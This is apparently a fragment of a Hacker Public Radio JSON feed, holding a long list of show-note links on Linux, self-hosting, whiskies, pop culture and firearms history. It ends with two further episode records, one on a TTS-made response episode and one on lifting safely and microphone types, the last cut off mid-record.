                                                            \n\nginx\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://nginx.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPython\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.python.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe Linux Lugcast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://linuxlugcast.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nArchive Dot Org\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://archive.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPine 64\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pine64.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWordpress\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://wordpress.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPowerPress

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://wordpress.org/plugins/powerpress/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBluberry Press

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://blubrry.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRSS Feed\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://rss.com/blog/how-do-rss-feeds-work/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOrangePi Zero 3\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttp://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/details/Orange-Pi-Zero-3.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOGG file format\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://xiph.org/ogg/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMP3 file format\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.geeksforgeeks.org/mp3-file-format-mp3-extension/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRaspberry Pi Pico / Pico W\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.raspberrypi.com/products/raspberry-pi-pico/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNextcloud\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://nextcloud.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNextcloud Calendar Plugin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://apps.nextcloud.com/apps/calendar\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHPR Episode 4058 \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://hackerpublicradio.org/eps/hpr4058/index.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nReal ID\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.dhs.gov/real-id\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBank of America\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bankofamerica.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKnow Your Customer Policy\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.investopedia.com/terms/k/knowyourclient.asp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBullet Button (firearms)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bulletbutton.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBrowning 50 caliber rifle\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/M2_Browning\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBarrett Arms\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.browning.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBarret 416 \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://barrett.net/products/accessories/ammunition/416barrett/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSoviet 8mm anti-tank rifle\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://warfarehistorynetwork.com/article/the-ptrs-41-and-other-russian-anti-tank-rifles/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTungstun Core German Bullet ( Spitzgeschoß mit Hartkern)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://panzerworld.com/german-ammunition-nomenclature\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLargest Cal air rifle \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.outdoorlife.com/gear/aea-zeus-review/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nArmy Core of Engineers\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.usace.army.mil/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDeer Island Sewage Treatment Plant\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mwra.com/your-sewer-system/sewer-treatment-facilities/deer-island-wastewater-treatment-plant\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMethane as an energy source\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://archive.epa.gov/climatechange/kids/solutions/technologies/methane.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBeetlejuice Beetlejuice\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.rottentomatoes.com/m/beetlejuice_beetlejuice\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGame of Thrones DVD Set\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://collider.com/game-of-thrones-complete-collection-review/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nArmbian\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.armbian.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nEtherpad\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://etherpad.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nYunohost\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://yunohost.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDocker\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.docker.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWyse Computer Thin Client\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Wyse\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHarmonies (Board Game)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://boardgamegeek.com/boardgame/414317/harmonies\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTapple (Board Game)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://boardgamegeek.com/boardgame/129556/tapple\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPeanut Butter Whiskey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.skrewballwhiskey.com/en/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSalted Caramel Whiskey - old Smokey brand\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://olesmoky.com/products/salty-caramel-flavored-whiskey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMaple Flavor Crown Royal\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.crownroyal.com/canadian-whisky/crown-royal-maple\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJack Daniels Tennessee Honey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.jackdaniels.com/en-us/whiskey/tennessee-honey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJim Beam Honey Bourbon\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.jimbeam.com/en-us/bourbons/jim-beam-honey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJim Beam Vanilla Bourbon\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.jimbeam.com/en-us/bourbons/jim-beam-vanilla\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMaine\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.maine.gov/portal/index.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRaspberry Pi 5\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.raspberrypi.com/products/raspberry-pi-5/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nX2Go \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://wiki.x2go.org/doku.php\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nUNIX\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://unix.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPFSense\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.pfsense.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVLAN\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.techtarget.com/searchnetworking/definition/virtual-LAN\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVPN\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://usa.kaspersky.com/resource-center/definitions/what-is-a-vpn\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNord VPN\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://nordvpn.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVerizon Cellular\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.verizon.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGoogle Voice\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://voice.google.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGoogle Drive\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://drive.google.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThunderbird\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.thunderbird.net/en-US/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nUsenet \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Usenet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGoogle Groups\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://groups.google.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSymlinks\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.komprise.com/glossary_terms/symbolic-link/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTubi\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.komprise.com/glossary_terms/symbolic-link/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nYoutube\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.youtube.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nuBlock Origin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://ublockorigin.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPIE (Youtube/Twitch ad blocker)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pie.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBitcoin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://bitcoin.org/en/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nElon Musk\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Elon_Musk\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPeter Dinklage\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Peter_Dinklage\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDothraki\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://dothraki.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nValyrian\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://gameofthrones.fandom.com/wiki/High_Valyrian\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\nKhaleesi\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://gameofthrones.fandom.com/wiki/Khaleesi\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nManscaping\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.usa.philips.com/c-e/mens-grooming/body-grooming/how-to-manscape.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://gillette.com/en-us/shaving-tips/manscaping/pubic-area-grooming-guide\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCutting Back the Forest\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.brooklyngrooming.com/blogs/news/10984365-manscaping-cant-see-the-tree-for-the-forest\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHitler Stash\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.urbandictionary.com/define.php?term=hitlerstache\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMr. T\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Mr._T\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMullet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.urbandictionary.com/define.php?term=pubic%20mullet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMatrix\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://matrix.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOld Growth Forest\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.fs.usda.gov/sites/default/files/mature-and-old-growth-forests-tech.pdf\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBattle of Saipan\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.history.navy.mil/browse-by-topic/wars-conflicts-and-operations/world-war-ii/1944/saipan.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n60 Minutes special - Vietname war solider returns severed arm\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bbc.com/news/world-asia-23124347\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBig and Rich - 8th of November song\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.8thofnovember.com/lyrics/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJellyfin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://jellyfin.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRound Robin Load Balancer\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.f5.com/glossary/round-robin-load-balancing\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWGET\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.gnu.org/software/wget/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSuper Mario Odyssey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mariowiki.com/Super_Mario_Odyssey\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCappy (Super Mario Odyssey)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mariowiki.com/Cappy\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMineTest\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.luanti.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMineCraft\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.minecraft.net/en-us\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMastadon\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://joinmastodon.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBetter Bachlor Podcast (Youtube)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.youtube.com/betterbachelor\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDistro Hoppers Digest\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://distrohoppersdigest.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMintcast

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://mintcast.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nProtonVPN\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://protonvpn.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nChromebook\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.google.com/chromebook/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAOSP\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://source.android.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThorium Browser\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://thorium.rocks/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThorium OS\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://thorium.rocks/thoriumos\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBliss OS\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://blissos.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nReact OS\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://reactos.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGNUHerd\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.gnu.org/software/hurd/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPineTab2\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pine64.com/product/pinetab2-10-1-8gb-128gb-linux-tablet-with-detached-backlit-keyboard/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nArch Linux\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://archlinux.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDebian Linux\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.debian.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPlasma Mobile\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://plasma-mobile.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKDE 4\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/KDE_Plasma_4\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKDE 5\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/KDE_Plasma_5\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nI5 Processor\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.intel.com/content/www/us/en/products/details/processors/core/i5.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nI7 Processor\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.intel.com/content/www/us/en/products/details/processors/core/i7.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBodhi Linux\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bodhilinux.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMX Linux\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://mxlinux.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSecure Boot\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nXubuntu\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://xubuntu.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFull Circle Weekly News\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://fullcirclemagazine.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRonnie Tucker \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://ronnietucker.co.uk/about\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBandCamp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://bandcamp.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVentoy\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.ventoy.net/en/index.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nChris Fisher\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.jupiterbroadcasting.com/hosts/chris/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLibreBoot\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://libreboot.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSilicon Power USB \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.silicon-power.com/web/category/usbdrives\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMoksha Desktop 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bodhilinux.com/moksha-desktop/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nEnlightenment Desktop\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.enlightenment.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nManjaro

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://manjaro.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRobert Wiley - Bodhi Linux Dev\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.bodhilinux.com/2019/06/11/new-lead-developer-robert-ylee-wiley/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nEscuelas Linux\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://escuelaslinux.sourceforge.io/english/index.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLeaf Browser\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://leafbrowser.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nChromium\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.chromium.org/chromium-projects/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4335,"date":"2025-03-14","title":"Responce to Antoin's H P R 4 3 1 3 ","duration":540,"summary":"Responce to Antoin's H P R 4 3 1 3 Converted to English Audio ","notes":"\n

                                                            \n Response to Antoin's HPR4313\n \"Why I made a 1-episode podcast about a war story. \"
                                                            \n Used https://huggingface.co/Jmica/audiobook_maker/blob/main/audiobook_maker_v3.0.zip\n with trained model of NOT Jenna Ortega :P

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"tts,F5TTS,Transcoding,audio,AI","version":0,"downloads":0,"valid":1}, {"id":4336,"date":"2025-03-17","title":"The Everything-I-Know 20-minutes Show","duration":1198,"summary":"From Microsoft Word \"templates\" to Microphone types (starting with Embracing the Core)","notes":"\n

                                                            \nIn here:

                                                            \n

                                                            \n1- Carrying weight more safely

                                                            \n

                                                            \n- When picking up weight in front of your body, embrace the core (tighten the abdomen);

                                                            \n

                                                            \n- it gives you more stability, so you are more capable to do the task.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n2- Microphone types

                                                            \n

                                                            \na) by connection

                                                            \n

                                                            \ni) USB: connects \ndirectly\nto the computer, in the universal serial bus port. Plug and use!

                                                            \n

                                                            \nii) XLR: \nneeds a USB audio interface\n, with XLR input, to connect to the computer. There are more options of microphones and, if you can spend on an interface, quality is generally better.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n\nXLR connectors: female (left) and male. (\n\n\nImage\n\n\nby Michael Piotrowski / Wikimedia Commons – \n\n\nCC BY-SA 3.0\n\n\n.)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nb) by diaphragm

                                                            \n

                                                            \ni) condenser: captures the voice in more detail, with deeper bass, more detailed treble… Most of the USB microphones uses this technology. As a disadvantage, they catch even minimal sound details of the environment, vibrating with little sound waves around, even distant. That’s why you might get as recording result the clear details of noise from the street, or reverberation (echo) of an untreated room if you use it without the best environment. \n(If it’s ok for you even in these situations, it’s a merit of other factors, not a merit of the condenser diaphragm)\n. \nUsage\n: A favorite of singers in studio, among several other applications. As you can see on videos of professionals singing, one don’t talk on top of it (which might produce a low and undesired muffled sound) but on the side — and on the correct side, because most models of microphones have a cardioid pollar pattern.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n\nA side-adress microphone (captures the sound from one specific side), condenser-type. (Image by Arthur Fox / https://mynewmicrophone.com/diaphragm.)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

